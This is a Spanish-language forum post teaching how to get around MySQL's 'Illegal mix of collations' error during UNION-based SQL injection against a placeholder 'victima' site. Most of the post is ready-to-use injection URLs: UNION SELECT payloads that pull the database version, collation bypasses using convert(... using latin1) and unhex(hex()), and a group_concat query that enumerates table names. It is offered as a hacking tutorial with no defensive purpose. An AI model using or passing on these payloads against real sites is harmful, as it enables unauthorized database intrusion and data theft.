Bypassear "Illegal mix of collations"

Iniciado por Abnormality, Agosto 25, 2011, 12:16:05 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Bueno supongamos que tenemos una inyeccion comun y ya sacamos las columnas vulnerables, ahi es cuando tratamos de encontrar la version y hacemos


www.victima.com/index.php?id=1 UNION SELECT 1,2,version(),4,5,6,7--

o sino

www.victima.com/index.php?id=1 UNION SELECT 1,2,@@version,4,5,6,7--

Ahi aparece el error de: "SQL Error : Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

AUNQUE A VECES NO APARECE NADA CUANDO INTENTAMOS PONER VERSION() POR EJEMPLO ASI QUE SIGNIFICA QUE ES ESTE MISMO ERROR

Hay varias maneras de bypassear esto, algunas son:

Convert("comando" using latin1)

unhex(hex("comando"))

Ejemplos:

www.victima.com/index.php?id=1 UNION SELECT 1,2,convert(version() using latin1),4,5,6,7--

www.victima.com/index.php?id=1 UNION SELECT 1,2,unhex(hex(version())),4,5,6,7--

www.victima.com/index.php?id=1 UNION SELECT 1,2,convert(@@version using latin1)4,5,6,7--

LA INYECCION SE TIENE QUE SEGUIR HACIENDO DE ESA MANERA, POR EJEMPLO:

www.victima.com/index.php?id=1 UNION SELECT 1,2,unhex(hex(group_concat(table_name))),4,5,6,7 FROM usuarios--

Espero que les haya gustado!